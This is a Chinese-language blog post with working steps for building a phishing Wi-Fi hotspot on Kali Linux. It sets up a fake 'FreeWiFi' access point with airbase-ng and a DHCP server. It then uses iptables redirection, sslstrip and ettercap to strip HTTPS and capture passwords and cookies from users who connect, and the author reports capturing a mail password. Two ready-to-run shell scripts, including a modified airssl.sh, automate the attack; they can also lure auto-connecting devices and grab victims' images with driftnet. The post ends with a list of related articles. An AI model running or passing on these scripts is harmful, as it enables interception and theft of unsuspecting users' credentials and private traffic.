钓鱼WIFI搭建
1、无线网卡
2、KaliLinux操作系统,这里就不用说了,必备的
3、isc-dhcp-server服务器。安装好KaliLinux后只需要apt-get update 然后apt-get install isc-dhcp-server即可
4、Aircrack-ng套件 #用来发送数据
5、sslstrip 用来突破SSL加密
6、ettercap 用来嗅探劫持
后面三个软件KaliLinux都自带有,不用安装即可。
首先强调下,后面的bash脚本适用于使用isc-dhcp-server这个bash脚本,建立钓鱼热点。
安装dhcp服务
apt-get install isc-dhcp-server
配置文件分别在/etc/default/isc-dhcp-server和/etc/dhcp/dhcpd.conf,前者可以配置监听端口,这里以wlan0为例
配置dhcp文件后,断开wlan0的网络,分配一个ip
ifconfig wlan0 192.168.1.2/24
启动dhcp服务
/etc/init.d/isc-dhcp-server start 或者
service isc-dhcp-server start
建立热点:
将下文写好的airssl.sh添加执行权限
bash airssl.sh
然后分别是AP建立,DHCP建立,sslstrip开启,ettercap开启。
这里再介绍一种方法,是使用 airbase-ng + dhcpd 创建虚拟WiFi热点;顺便使用 sslstrip+ettercap 进行中间人攻击,嗅探使用者的上网信息和劫持cookie!
所需要的软件如下;kali-linux都已经自带了,其他的系统可以自行安装:
Aircrack-ng 套件 #用来发送数据
isc-dhcp-server #简单的dhcp服务器
sslstrip #突破ssl加密
ettercap #嗅探劫持
leaf /etc/dhcp/dhcpd.conf 编辑dhcp服务器配置文件,修改如下:
authoritative;
default-lease-time 700;
max-lease-time 8000;
subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;
option domain-name "FreeWiFi";
option domain-name-servers 10.0.0.1;
range 10.0.0.10 10.0.0.100;
}
然后激活网卡至监听模式:
airmon-ng start wlan0
airbase-ng -e FreeWiFi -c 6 mon0
此时虚拟wifi的信号已经发送出去了,如果出现错误:
Error: Got channel -1, expected a value > 0.
执行如下命令:
airmon-ng stop mon0
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
然后从激活网卡至监听模式那里重新开始。
接着执行如下命令:
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start
虚拟WiFir热点创建成功,接下来就是嗅探欺骗钓鱼了:
sslstrip -fpk 10000
ettercap -Tpuqi at0
然后就等着鱼儿上钩吧!
手机上测试了下,网易邮箱直接明文密码:

百度使用了加密:


写了一个脚本,修改成自己的设置每次执行就ok了:
复制下面代码,保存为 “Fake_a_ap.sh”,然后 chmod +x Fake_a_ap.sh && ./Fake_a_ap.sh
#!/bin/sh
echo "即将创建WiFi热点,请确保dhcpd.conf已经配置好!" &
sleep 5
ifconfig wlan0 down #wlan0修改成你的网卡
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng start wlan0 &
sleep 5
airbase-ng -e FreeWiFi -c 6 mon0 & #修改成自己的热点名称和信道
sleep 5
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush && iptables --table nat --flush && iptables --table nat --flush && iptables --table nat --delete-chain &
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2
/etc/init.d/isc-dhcp-server start &
sleep 5
sslstrip -fpk 10000 &
ettercap -puTqi at0
代码如下:
- #!/bin/bash
- # 修改版,原版信息如下:
- ########################################################
- # ©opyright 2009 - killadaninja - Modified G60Jon 2010
- # airssl.sh - v1.0
- # visit the man page NEW SCRIPT Capturing Passwords With sslstrip AIRSSL.sh
- ########################################################
- # Network questions
- echo "AIRSSL_KALI"
- echo "修该版本,适用于kali或者使用isc-dhcp-server的环境,原版信息如下:"
- echo "AIRSSL 2.0 - Credits killadaninja & G60Jon "
- echo "仅供学习用途"
- echo
- route -n -A inet | grep UG
- echo "DNS服务器.例如8.8.8.8: "
- read -e dnsip
- echo "网关地址.例如192.168.0.1:"
- read -e gatewayip
- echo "接入internet的接口.例如eth1: "
- read -e internet_interface
- echo "用于建立AP的接口.例如wlan0: "
- read -e fakeap_interface
- echo "AP的ESSID: "
- read -e ESSID
- airmon-ng start $fakeap_interface
- fakeap=$fakeap_interface
- fakeap_interface="mon0"
- # Dhcpd creation
- mkdir -p "/pentest/wireless/airssl"
- cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.bak
- cp /etc/default/isc-dhcp-server /etc/default/isc-dhcp-server.bak
- echo "ddns-update-style none;
- default-lease-time 600;
- max-lease-time 7200;
- authoritative;
- log-facility local7;
- ">/etc/dhcp/dhcpd.conf
- echo -n "subnet 192.168.0.0 netmask 255.255.255.0 {
- range 192.168.0.100 192.168.0.200;
- option domain-name-servers ">>/etc/dhcp/dhcpd.conf
- echo -n $dnsip>>/etc/dhcp/dhcpd.conf
- echo -n ";
- # option domain-name "internal.example.org";
- option routers ">>/etc/dhcp/dhcpd.conf
- echo -n $gatewayip>>/etc/dhcp/dhcpd.conf
- echo -n ";
- option broadcast-address 192.168.0.255;
- default-lease-time 600;
- max-lease-time 7200;
- }" >> /etc/dhcp/dhcpd.conf
- echo "
- DHCPD_CONF=/etc/dhcp/dhcpd.conf
- DHCPD_PID=/var/run/dhcpd.pid
- INTERFACES="at0"
- ">/etc/default/isc-dhcp-server
- # Fake ap setup
- echo "[+] Configuring FakeAP...."
- echo
- echo "Airbase-ng will run in its most basic mode, would you like to
- configure any extra switches? "
- echo
- echo "Choose Y to see airbase-ng help and add switches. "
- echo "Choose N to run airbase-ng in basic mode with your choosen ESSID. "
- echo "Choose A to run airbase-ng in respond to all probes mode (in this mode your choosen ESSID is not used, but instead airbase-ng responds to all incoming probes), providing victims have auto connect feature on in their wireless settings (MOST DO), airbase-ng will imitate said saved networks and slave will connect to us, likely unknowingly. PLEASE USE THIS OPTION RESPONSIBLY. "
- echo "Y, N or A "
- read ANSWER
- if [ $ANSWER = "y" ] ; then
- airbase-ng --help
- fi
- if [ $ANSWER = "y" ] ; then
- echo
- echo -n "Enter switches, note you have already chosen an ESSID -e this cannot be
- redefined, also in this mode you MUST define a channel "
- read -e aswitch
- echo
- echo "[+] Starting FakeAP..."
- xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng "$aswitch" -e "$ESSID" $fakeap_interface & fakeapid=$!
- sleep 2
- fi
- if [ $ANSWER = "a" ] ; then
- echo
- echo "[+] Starting FakeAP..."
- xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -P -C 30 $fakeap_interface & fakeapid=$!
- sleep 2
- fi
- if [ $ANSWER = "n" ] ; then
- echo
- echo "[+] Starting FakeAP..."
- xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -c 1 -e "$ESSID" $fakeap_interface & fakeapid=$!
- sleep 2
- fi
- # Tables
- echo "[+] Configuring forwarding tables..."
- ifconfig lo up
- ifconfig at0 up &
- sleep 1
- ifconfig at0 $gatewayip netmask 255.255.255.0
- ifconfig at0 mtu 1400
- route add -net 192.168.0.0 netmask 255.255.255.0 gw $gatewayip
- iptables --flush
- iptables --table nat --flush
- iptables --delete-chain
- iptables --table nat --delete-chain
- echo 1 > /proc/sys/net/ipv4/ip_forward
- iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip
- iptables -P FORWARD ACCEPT
- iptables --append FORWARD --in-interface at0 -j ACCEPT
- iptables --table nat --append POSTROUTING --out-interface $internet_interface -j MASQUERADE
- iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
- # DHCP
- echo "[+] Setting up DHCP..."
- #touch /var/run/dhcpd.pid
- #chown dhcpd:dhcpd /var/run/dhcpd.pid
- #xterm -geometry 75x20+1+100 -T DHCP -e dhcpd3 -d -f -cf "/pentest/wireless/airssl/dhcpd.conf" at0 & dchpid=$!
- #sleep 3
- /etc/init.d/isc-dhcp-server start
- # Sslstrip
- echo "[+] Starting sslstrip..."
- xterm -geometry 75x15+1+200 -T sslstrip -e sslstrip -f -p -k 10000 & sslstripid=$!
- sleep 2
- # Ettercap
- echo "[+] Configuring ettercap..."
- echo
- echo "Ettercap will run in its most basic mode, would you like to
- configure any extra switches for example to load plugins or filters,
- (advanced users only), if you are unsure choose N "
- echo "Y or N "
- read ETTER
- if [ $ETTER = "y" ] ; then
- ettercap --help
- fi
- if [ $ETTER = "y" ] ; then
- echo -n "Interface type is set you CANNOT use "\"interface type\"" switches here
- For the sake of airssl, ettercap WILL USE -u and -p so you are advised
- NOT to use -M, also -i is already set and CANNOT be redifined here.
- Ettercaps output will be saved to /pentest/wireless/airssl/passwords
- DO NOT use the -w switch, also if you enter no switches here ettercap will fail "
- echo
- read "eswitch"
- echo "[+] Starting ettercap..."
- xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u "$eswitch" -T -q -i at0 & ettercapid=$!
- sleep 1
- fi
- if [ $ETTER = "n" ] ; then
- echo
- echo "[+] Starting ettercap..."
- xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u -T -q -w /pentest/wireless/airssl/passwords -i at0 & ettercapid=$!
- sleep 1
- fi
- # Driftnet
- echo
- echo "[+] Driftnet?"
- echo
- echo "Would you also like to start driftnet to capture the victims images,
- (this may make the network a little slower), "
- echo "Y or N "
- read DRIFT
- if [ $DRIFT = "y" ] ; then
- mkdir -p "/pentest/wireless/airssl/driftnetdata"
- echo "[+] Starting driftnet..."
- driftnet -i $internet_interface -p -d /pentest/wireless/airssl/driftnetdata & dritnetid=$!
- sleep 3
- fi
- xterm -geometry 75x15+1+600 -T SSLStrip-Log -e tail -f sslstrip.log & sslstriplogid=$!
- clear
- echo
- echo "[+] Activated..."
- echo "Airssl is now running, after slave connects and surfs their credentials will be displayed in ettercap. You may use right/left mouse buttons to scroll up/down ettercaps xterm shell, ettercap will also save its output to /pentest/wireless/airssl/passwords unless you stated otherwise. Driftnet images will be saved to /pentest/wireless/airssl/driftftnetdata "
- echo
- echo "[+] IMPORTANT..."
- echo "使用完毕请键入Y恢复系统配置,否则可能会出现问题!"
- read WISH
- # Clean up
- if [ $WISH = "y" ] ; then
- echo
- echo "[+] Cleaning up airssl and resetting iptables..."
- kill ${fakeapid}
- kill ${dchpid}
- kill ${sslstripid}
- kill ${ettercapid}
- kill ${dritnetid}
- kill ${sslstriplogid}
- airmon-ng stop $fakeap_interface
- airmon-ng stop $fakeap
- echo "0" > /proc/sys/net/ipv4/ip_forward
- iptables --flush
- iptables --table nat --flush
- iptables --delete-chain
- iptables --table nat --delete-chain
- mv /etc/default/isc-dhcp-server.bak /etc/default/isc-dhcp-server
- mv /etc/dhcp/dhcpd.conf.bak /etc/dhcp/dhcpd.conf
- /etc/init.d/isc-dhcp-server stop
- echo "[+] Clean up successful..."
- echo "[+] Thank you for using airssl, Good Bye..."
- exit
- fi
- exit
做这个最重要的还是写shell脚本
后面的脚本如果都能自己写出来,才是真正的大神。本人菜鸟,欢迎各位大神狂喷
钓鱼WIFI搭建的更多相关文章
- 树莓派搭建钓鱼wifi热点
我们连接的公共wifi其实是非常不安全的网络,骇客可以利用wifi路由设备进行中间人攻击,劫持DNS伪造钓鱼网站.接下来我会做个简单的实验,伪造中国电信的路由ChinaNet并发射出热点wifi等待别 ...
- 简单快速搭建钓鱼wifi
前言 钓鱼wifi是很久的话题了,但是传统的方法可能比较麻烦需要手动配置dhcp,dns,网卡,流量转发,比较麻烦,而且还有根据每次的网络环境需要重新的配置,这里介绍用WIFIpumpkin3工具简单 ...
- kali使用Fluxion钓鱼WiFi
先介绍一下这个软件 这个软件是一个可以生成一个钓鱼WiFi的软件,可以伪装成一个正常的WiFi,但是是没有密码的,但是其他信息都是一样的,一旦开启这个攻击,正常的那个AP就无法正常连接,只能连到这个伪 ...
- 嵌入式Linux利用Wifi搭建无线服务器(物联网实践之无线网关)
在 http://www.cnblogs.com/heat-man/p/4564539.html中,在嵌入式Linux开发板上我们从最底层实现了一个智能家居的远程控制系统,然而采取的是用网线连接到交换 ...
- 深度点评五种常见WiFi搭建方案
总结十年无线搭建经验,针对企业常见的五种办公室无线网络方案做个简要分析,各种方案有何优劣,又适用于那种类型的企业. 方案一:仅路由器或AP覆盖 简述:使用路由器或AP覆盖多个无线盲区,多个AP的部署实 ...
- 一个钓鱼WiFi的破解
在开始前我们先安装下工具 git clone [url]https://github.com/P0cL4bs/WiFi-Pumpkin.git[/url] [/size] [size=4][size= ...
- 钓鱼WIFI的防范
实际上,Wi-Fi接入点(AP).路由器和热点常常是高度暴露的攻击面.用户一不小心就有可能踏进攻击者设置的Wi-Fi陷阱,为企业造成信息泄露或经济损失. 如今Wi-Fi 6时代悄然到来,为高密海量无线 ...
- QQFishing QQ钓鱼站点搭建
答:为什么要写这个代码? 当然不是做黑产去盗别人扣扣,也没有啥查看别人隐私信息的癖好,搭建该站点的适用对象为->使用社会工程学定向钓鱼攻击的安全渗透人员 另外管理员界面后端写的很丑+很烂,除了我 ...
- 如何在Kali Linux中搭建钓鱼热点
文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用! 0×00 实验环境 操作系统:Kali 1.0 (VM) FackAP: easy-creds 硬件:NETGEAR wg ...
随机推荐
- Struts2的表单标签还可以为集合中的对象赋值
•Struts 还允许填充 Collection 里的对象, 这常见于需要快速录入批量数据的场合 代码如下 : TestCollectionAction.java package com.atgu ...
- HDU5667—Sequence(对数转化)
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=5667 题目意思:f1=1,i=1 f2=2 ,i=2 fi=a^b*f[i-1]^c*f[i-2] i ...
- phpstrom 常用默认快捷键
ctrl+j 插入活动代码提示ctrl+alt+t 当前位置插入环绕代码alt+insert 生成代码菜单ctrl+shift+n 查找文件 ctrl+q 查看代码注释ctrl+d 复制当前行ctrl ...
- SpringCloud 进阶之Eureka(服务注册和发现)
1. Eureka 服务注册与发现 Eureka 是一个基于REST的服务,用于服务的的注册与发现; Eureka采用C-S的设计架构,Eureka Server作为服务注册功能的服务器,它是服务注册 ...
- Junit 3.8.1 源码分析(一)
写在前面:本文基于Junit3.8.1版本,因为这是我第一次进行源码学习,先从简单的源码开始学起 1. 示例代码 1.1 准备工作 下载Junit3.8.1的JAR包 需要下载junit-3.8.1- ...
- Qt JSON解析生成笔记(把JSON转成一个类对象)
对于这样一段json { "name": "布衣食", "gender": "Male", "age" ...
- Keywords Search---hdu2222(AC自动机 模板)
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2222 一个常见的例子就是给出n个单词,再给出一段包含m个字符的文章,让你找出有多少个单词在文章里出现过 ...
- Go学习笔记一:解析toml配置文件
本文系作者原创,转载请注明出处https://www.cnblogs.com/sonofelice/p/9085291.html . 一些mysql或者日志路径的信息需要放在配置文件中.那么本博文主要 ...
- redis之数据操作详解
redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sorted set ...
- VUE的安装与Django之间打通数据
一 VUE的安装与项目创建 1.1.安装nodeJS 官网下载安装:https://nodejs.org/zh-cn/ 1.2.安装脚手架 vue官网 => 学习 => 教程 => ...